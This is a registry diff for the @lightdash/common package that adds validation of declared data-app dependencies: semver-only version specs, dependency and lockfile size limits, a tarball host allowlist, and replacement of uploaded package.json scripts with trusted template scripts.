@lightdash/common 0.3326.1 → 0.3327.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,8 @@
1
1
  import { type ApiSuccess } from '../../types/api/success';
2
2
  import { type DataAppTemplate } from './types';
3
3
  export declare const currentDataAppCodeVersion: 1;
4
+ export declare const MAX_DECLARED_DEPENDENCIES = 60;
5
+ export declare const MAX_LOCKFILE_BYTES: number;
4
6
  export type DataAppManifest = {
5
7
  codeVersion: 1;
6
8
  appUuid: string;
@@ -16,9 +18,14 @@ export type DataAppCodeFile = {
16
18
  path: string;
17
19
  contentBase64: string;
18
20
  };
21
+ export type DataAppDependencies = {
22
+ packageJson: string;
23
+ lockfile: string;
24
+ };
19
25
  export type DataAppCode = {
20
26
  manifest: DataAppManifest;
21
27
  files: DataAppCodeFile[];
28
+ dependencies?: DataAppDependencies;
22
29
  };
23
30
  export type DataAppContextFile = {
24
31
  path: string;
@@ -49,5 +56,34 @@ export type ApiImportAppCodeResponse = ApiSuccess<{
49
56
  version: number;
50
57
  action: 'create' | 'append';
51
58
  }>;
52
- export declare function validateDataAppCode(value: unknown): DataAppCode;
59
+ export type DataAppDepsValidationResult = {
60
+ customDeps: Record<string, string>;
61
+ };
62
+ /**
63
+ * Returns `packageJson` with its `scripts` replaced by the trusted template
64
+ * scripts. The build sandbox runs `pnpm build` against this file, and download
65
+ * round-trips it to other developers' machines — in both places the script
66
+ * commands must stay server-controlled, not uploader-controlled.
67
+ */
68
+ export declare function sanitizeAppPackageJsonScripts(packageJson: string, templateScripts: Record<string, string>): string;
69
+ /**
70
+ * Validates a declared dependency set against an optional template baseline.
71
+ *
72
+ * Rules enforced:
73
+ * 1. `packageJson` parses as JSON with a `dependencies` object.
74
+ * 2. Every spec is a registry semver spec (git+/file:/workspace:/http(s): rejected).
75
+ * 3. Direct-dependency count ≤ MAX_DECLARED_DEPENDENCIES.
76
+ * 4. `lockfile` is non-empty, ≤ MAX_LOCKFILE_BYTES, and mentions every custom
77
+ * package name (cheap consistency guard).
78
+ *
79
+ * Returns the "custom set": declared deps whose name+version differ from the
80
+ * template baseline (new packages or version overrides).
81
+ */
82
+ export declare function validateDataAppDependencies(deps: unknown, opts: {
83
+ templateDependencies: Record<string, string>;
84
+ allowedTarballHosts?: string[];
85
+ }): DataAppDepsValidationResult;
86
+ export declare function validateDataAppCode(value: unknown, opts?: {
87
+ templateDependencies?: Record<string, string>;
88
+ }): DataAppCode;
53
89
  //# sourceMappingURL=code.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"code.d.ts","sourceRoot":"","sources":["../../../../src/ee/apps/code.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,KAAK,UAAU,EAAE,MAAM,yBAAyB,CAAC;AAC1D,OAAO,EAAE,KAAK,eAAe,EAAE,MAAM,SAAS,CAAC;AAE/C,eAAO,MAAM,yBAAyB,EAAG,CAAU,CAAC;AAEpD,MAAM,MAAM,eAAe,GAAG;IAC1B,WAAW,EAAE,CAAC,CAAC;IACf,OAAO,EAAE,MAAM,CAAC;IAChB,WAAW,EAAE,MAAM,CAAC;IACpB,OAAO,EAAE,MAAM,CAAC;IAChB,IAAI,EAAE,MAAM,CAAC;IACb,WAAW,EAAE,MAAM,CAAC;IAGpB,QAAQ,EAAE,OAAO,CAAC,eAAe,EAAE,QAAQ,CAAC,GAAG,IAAI,CAAC;IACpD,YAAY,EAAE,MAAM,CAAC;IACrB,kBAAkB,CAAC,EAAE,MAAM,CAAC;CAC/B,CAAC;AAEF,MAAM,MAAM,eAAe,GAAG;IAC1B,IAAI,EAAE,MAAM,CAAC;IACb,aAAa,EAAE,MAAM,CAAC;CACzB,CAAC;AAEF,MAAM,MAAM,WAAW,GAAG;IACtB,QAAQ,EAAE,eAAe,CAAC;IAC1B,KAAK,EAAE,eAAe,EAAE,CAAC;CAC5B,CAAC;AAEF,MAAM,MAAM,kBAAkB,GAAG;IAC7B,IAAI,EAAE,MAAM,CAAC;IACb,aAAa,EAAE,MAAM,CAAC;CACzB,CAAC;AAEF,MAAM,MAAM,mBAAmB,GAAG;IAC9B,YAAY,EAAE,kBAAkB,GAAG,IAAI,CAAC;IACxC,MAAM,EAAE,kBAAkB,EAAE,CAAC;IAC7B,iBAAiB,EAAE,MAAM,CAAC;CAC7B,CAAC;AAEF,MAAM,MAAM,cAAc,GAAG;IACzB,aAAa,EAAE,kBAAkB,CAAC;IAClC,UAAU,EAAE,kBAAkB,GAAG,IAAI,CAAC;IACtC,aAAa,EAAE,kBAAkB,CAAC;IAClC,KAAK,EAAE,mBAAmB,CAAC;CAC9B,CAAC;AAEF,MAAM,MAAM,mBAAmB,GAAG,WAAW,GAAG;IAAE,OAAO,EAAE,cAAc,CAAA;CAAE,CAAC;AAE5E,MAAM,MAAM,qBAAqB,GAAG,UAAU,CAAC,mBAAmB,CAAC,CAAC;AAEpE,MAAM,MAAM,wBAAwB,GAAG;IACnC,IAAI,EAAE,WAAW,CAAC;IAElB,aAAa,CAAC,EAAE,MAAM,CAAC;IACvB,SAAS,CAAC,EAAE,MAAM,CAAC;CACtB,CAAC;AAEF,MAAM,MAAM,wBAAwB,GAAG,UAAU,CAAC;IAC9C,OAAO,EAAE,MAAM,CAAC;IAChB,OAAO,EAAE,MAAM,CAAC;IAChB,MAAM,EAAE,QAAQ,GAAG,QAAQ,CAAC;CAC/B,CAAC,CAAC;AAeH,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,OAAO,GAAG,WAAW,CAqB/D"}
1
+ {"version":3,"file":"code.d.ts","sourceRoot":"","sources":["../../../../src/ee/apps/code.ts"],"names":[],"mappings":"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"}
@@ -1,8 +1,142 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.currentDataAppCodeVersion = void 0;
3
+ exports.MAX_LOCKFILE_BYTES = exports.MAX_DECLARED_DEPENDENCIES = exports.currentDataAppCodeVersion = void 0;
4
+ exports.sanitizeAppPackageJsonScripts = sanitizeAppPackageJsonScripts;
5
+ exports.validateDataAppDependencies = validateDataAppDependencies;
4
6
  exports.validateDataAppCode = validateDataAppCode;
5
7
  exports.currentDataAppCodeVersion = 1;
8
+ exports.MAX_DECLARED_DEPENDENCIES = 60;
9
+ exports.MAX_LOCKFILE_BYTES = 2 * 1024 * 1024; // 2 MB
10
+ // Positive allowlist: a spec must BE a semver range (exact versions, ^/~,
11
+ // comparators, hyphen and x-ranges, || unions). Everything else — git hosts
12
+ // (github:/gitlab:/bitbucket:/gist:), file:/link:/workspace:, URLs, bare
13
+ // relative paths, dist-tags like "latest" — is rejected, so validation agrees
14
+ // with what the sandbox egress allowlist actually permits.
15
+ const SEMVER_ATOM = String.raw `(?:[<>]=?|=|~|\^)?\s*v?(?:\d+|[xX*])(?:\.(?:\d+|[xX*]))?(?:\.(?:\d+|[xX*]))?(?:-[0-9A-Za-z][0-9A-Za-z.-]*)?(?:\+[0-9A-Za-z][0-9A-Za-z.-]*)?`;
16
+ const SEMVER_RANGE_PART = `${SEMVER_ATOM}(?:\\s+(?:-\\s+)?${SEMVER_ATOM})*`;
17
+ const SEMVER_RANGE_RE = new RegExp(`^\\s*${SEMVER_RANGE_PART}(?:\\s*\\|\\|\\s*${SEMVER_RANGE_PART})*\\s*$`);
18
+ const NPM_PACKAGE_NAME_RE = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/;
19
+ function isRegistrySemverSpec(spec) {
20
+ if (spec.startsWith('npm:')) {
21
+ // npm:<pkg>@<range> alias — both parts must independently validate.
22
+ // An alias without an explicit range would resolve a dist-tag; reject
23
+ // it like any other non-semver spec.
24
+ const rest = spec.slice(4);
25
+ const lastAt = rest.lastIndexOf('@');
26
+ if (lastAt <= 0)
27
+ return false;
28
+ return (NPM_PACKAGE_NAME_RE.test(rest.slice(0, lastAt)) &&
29
+ SEMVER_RANGE_RE.test(rest.slice(lastAt + 1)));
30
+ }
31
+ return SEMVER_RANGE_RE.test(spec);
32
+ }
33
+ // pnpm lockfiles record off-registry packages as `tarball: <url>` under
34
+ // `resolution:`; registry packages carry only an integrity hash. Any tarball
35
+ // URL therefore points outside the default registry flow and its host must be
36
+ // explicitly allowed.
37
+ const LOCKFILE_TARBALL_RE = /\btarball:\s*['"]?(https?:\/\/[^\s'",}]+)/g;
38
+ function validateLockfileTarballHosts(lockfile, allowedHosts) {
39
+ const allowed = new Set(allowedHosts.map((h) => h.toLowerCase()));
40
+ for (const match of lockfile.matchAll(LOCKFILE_TARBALL_RE)) {
41
+ let host;
42
+ try {
43
+ host = new URL(match[1]).hostname.toLowerCase();
44
+ }
45
+ catch {
46
+ throw new Error(`Invalid dependencies: lockfile contains an unparseable tarball URL: "${match[1]}"`);
47
+ }
48
+ if (!allowed.has(host)) {
49
+ throw new Error(`Invalid dependencies: lockfile resolves a package from "${host}", which is not an allowed registry host`);
50
+ }
51
+ }
52
+ }
53
+ /**
54
+ * Returns `packageJson` with its `scripts` replaced by the trusted template
55
+ * scripts. The build sandbox runs `pnpm build` against this file, and download
56
+ * round-trips it to other developers' machines — in both places the script
57
+ * commands must stay server-controlled, not uploader-controlled.
58
+ */
59
+ function sanitizeAppPackageJsonScripts(packageJson, templateScripts) {
60
+ let parsed;
61
+ try {
62
+ parsed = JSON.parse(packageJson);
63
+ }
64
+ catch {
65
+ // Callers validate JSON before sanitizing; keep the original on failure.
66
+ return packageJson;
67
+ }
68
+ return JSON.stringify({ ...parsed, scripts: templateScripts }, null, 4).concat('\n');
69
+ }
70
+ /**
71
+ * Validates a declared dependency set against an optional template baseline.
72
+ *
73
+ * Rules enforced:
74
+ * 1. `packageJson` parses as JSON with a `dependencies` object.
75
+ * 2. Every spec is a registry semver spec (git+/file:/workspace:/http(s): rejected).
76
+ * 3. Direct-dependency count ≤ MAX_DECLARED_DEPENDENCIES.
77
+ * 4. `lockfile` is non-empty, ≤ MAX_LOCKFILE_BYTES, and mentions every custom
78
+ * package name (cheap consistency guard).
79
+ *
80
+ * Returns the "custom set": declared deps whose name+version differ from the
81
+ * template baseline (new packages or version overrides).
82
+ */
83
+ function validateDataAppDependencies(deps, opts) {
84
+ if (!deps || typeof deps !== 'object')
85
+ throw new Error('Invalid dependencies: not an object');
86
+ const d = deps;
87
+ if (typeof d.packageJson !== 'string' || d.packageJson.length === 0)
88
+ throw new Error('Invalid dependencies: packageJson must be a non-empty string');
89
+ if (typeof d.lockfile !== 'string' || d.lockfile.length === 0)
90
+ throw new Error('Invalid dependencies: lockfile must be a non-empty string');
91
+ if (Buffer.byteLength(d.lockfile, 'utf-8') > exports.MAX_LOCKFILE_BYTES)
92
+ throw new Error(`Invalid dependencies: lockfile exceeds ${exports.MAX_LOCKFILE_BYTES / 1024 / 1024} MB limit`);
93
+ if (opts.allowedTarballHosts !== undefined) {
94
+ validateLockfileTarballHosts(d.lockfile, opts.allowedTarballHosts);
95
+ }
96
+ let parsed;
97
+ try {
98
+ parsed = JSON.parse(d.packageJson);
99
+ }
100
+ catch (err) {
101
+ const msg = err instanceof Error ? err.message : String(err);
102
+ throw new Error(`Invalid dependencies: packageJson is not valid JSON: ${msg}`);
103
+ }
104
+ if (!parsed ||
105
+ typeof parsed !== 'object' ||
106
+ !('dependencies' in parsed) ||
107
+ typeof parsed.dependencies !== 'object' ||
108
+ parsed.dependencies === null ||
109
+ Array.isArray(parsed.dependencies)) {
110
+ throw new Error('Invalid dependencies: packageJson must have a "dependencies" object');
111
+ }
112
+ const declared = parsed
113
+ .dependencies;
114
+ const entries = Object.entries(declared);
115
+ if (entries.length > exports.MAX_DECLARED_DEPENDENCIES) {
116
+ throw new Error(`Invalid dependencies: declared dependency count (${entries.length}) exceeds maximum (${exports.MAX_DECLARED_DEPENDENCIES})`);
117
+ }
118
+ for (const [name, spec] of entries) {
119
+ if (typeof spec !== 'string') {
120
+ throw new Error(`Invalid dependencies: version spec for "${name}" must be a string`);
121
+ }
122
+ if (!isRegistrySemverSpec(spec)) {
123
+ throw new Error(`Invalid dependencies: spec for "${name}" is not a registry semver spec: "${spec}"`);
124
+ }
125
+ }
126
+ // Compute the custom set and validate lockfile mentions each custom name.
127
+ const customDeps = {};
128
+ for (const [name, spec] of entries) {
129
+ // typeof spec already verified as string in the loop above.
130
+ if (typeof spec === 'string' &&
131
+ opts.templateDependencies[name] !== spec) {
132
+ if (!d.lockfile.includes(name)) {
133
+ throw new Error(`Invalid dependencies: "${name}" is declared in package.json but not found in pnpm-lock.yaml. Run 'pnpm install --lockfile-only' to update the lockfile, then upload again`);
134
+ }
135
+ customDeps[name] = spec;
136
+ }
137
+ }
138
+ return { customDeps };
139
+ }
6
140
  const isSafeRelPath = (p) => {
7
141
  if (typeof p !== 'string' || p.length === 0 || p.startsWith('/'))
8
142
  return false;
@@ -12,7 +146,7 @@ const isSafeRelPath = (p) => {
12
146
  .split('/')
13
147
  .every((segment) => segment.length > 0 && segment !== '.' && segment !== '..');
14
148
  };
15
- function validateDataAppCode(value) {
149
+ function validateDataAppCode(value, opts) {
16
150
  const v = value;
17
151
  if (!v || typeof v !== 'object')
18
152
  throw new Error('Invalid app bundle: not an object');
@@ -28,6 +162,21 @@ function validateDataAppCode(value) {
28
162
  if (typeof f?.contentBase64 !== 'string')
29
163
  throw new Error(`Invalid app bundle: file "${f?.path}" missing content`);
30
164
  }
165
+ if (v.dependencies !== undefined) {
166
+ const d = v.dependencies;
167
+ if (!d || typeof d !== 'object')
168
+ throw new Error('Invalid app bundle: dependencies must be an object');
169
+ if (typeof d.packageJson !== 'string')
170
+ throw new Error('Invalid app bundle: dependencies.packageJson must be a string');
171
+ if (typeof d.lockfile !== 'string')
172
+ throw new Error('Invalid app bundle: dependencies.lockfile must be a string');
173
+ // Full validation when a template baseline is available.
174
+ if (opts?.templateDependencies !== undefined) {
175
+ validateDataAppDependencies(v.dependencies, {
176
+ templateDependencies: opts.templateDependencies,
177
+ });
178
+ }
179
+ }
31
180
  return v;
32
181
  }
33
182
  //# sourceMappingURL=code.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"code.js","sourceRoot":"","sources":["../../../../src/ee/apps/code.ts"],"names":[],"mappings":";;;AA6EA,kDAqBC;AA/FY,QAAA,yBAAyB,GAAG,CAAU,CAAC;AA6DpD,MAAM,aAAa,GAAG,CAAC,CAAS,EAAW,EAAE;IACzC,IAAI,OAAO,CAAC,KAAK,QAAQ,IAAI,CAAC,CAAC,MAAM,KAAK,CAAC,IAAI,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC;QAC5D,OAAO,KAAK,CAAC;IACjB,qEAAqE;IACrE,qEAAqE;IACrE,OAAO,CAAC;SACH,KAAK,CAAC,GAAG,CAAC;SACV,KAAK,CACF,CAAC,OAAO,EAAE,EAAE,CACR,OAAO,CAAC,MAAM,GAAG,CAAC,IAAI,OAAO,KAAK,GAAG,IAAI,OAAO,KAAK,IAAI,CAChE,CAAC;AACV,CAAC,CAAC;AAEF,SAAgB,mBAAmB,CAAC,KAAc;IAC9C,MAAM,CAAC,GAAG,KAA6B,CAAC;IACxC,IAAI,CAAC,CAAC,IAAI,OAAO,CAAC,KAAK,QAAQ;QAC3B,MAAM,IAAI,KAAK,CAAC,mCAAmC,CAAC,CAAC;IACzD,IAAI,CAAC,CAAC,CAAC,QAAQ,IAAI,OAAO,CAAC,CAAC,QAAQ,KAAK,QAAQ;QAC7C,MAAM,IAAI,KAAK,CAAC,sCAAsC,CAAC,CAAC;IAC5D,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,CAAC,CAAC,KAAK,CAAC;QACvB,MAAM,IAAI,KAAK,CAAC,mCAAmC,CAAC,CAAC;IACzD,KAAK,MAAM,CAAC,IAAI,CAAC,CAAC,KAAK,EAAE,CAAC;QACtB,IAAI,CAAC,CAAC,IAAI,OAAO,CAAC,KAAK,QAAQ;YAC3B,MAAM,IAAI,KAAK,CAAC,iDAAiD,CAAC,CAAC;QACvE,IAAI,CAAC,aAAa,CAAC,CAAC,EAAE,IAAI,CAAC;YACvB,MAAM,IAAI,KAAK,CACX,yCAAyC,CAAC,EAAE,IAAI,GAAG,CACtD,CAAC;QACN,IAAI,OAAO,CAAC,EAAE,aAAa,KAAK,QAAQ;YACpC,MAAM,IAAI,KAAK,CACX,6BAA6B,CAAC,EAAE,IAAI,mBAAmB,CAC1D,CAAC;IACV,CAAC;IACD,OAAO,CAAgB,CAAC;AAC5B,CAAC"}
1
+ {"version":3,"file":"code.js","sourceRoot":"","sources":["../../../../src/ee/apps/code.ts"],"names":[],"mappings":"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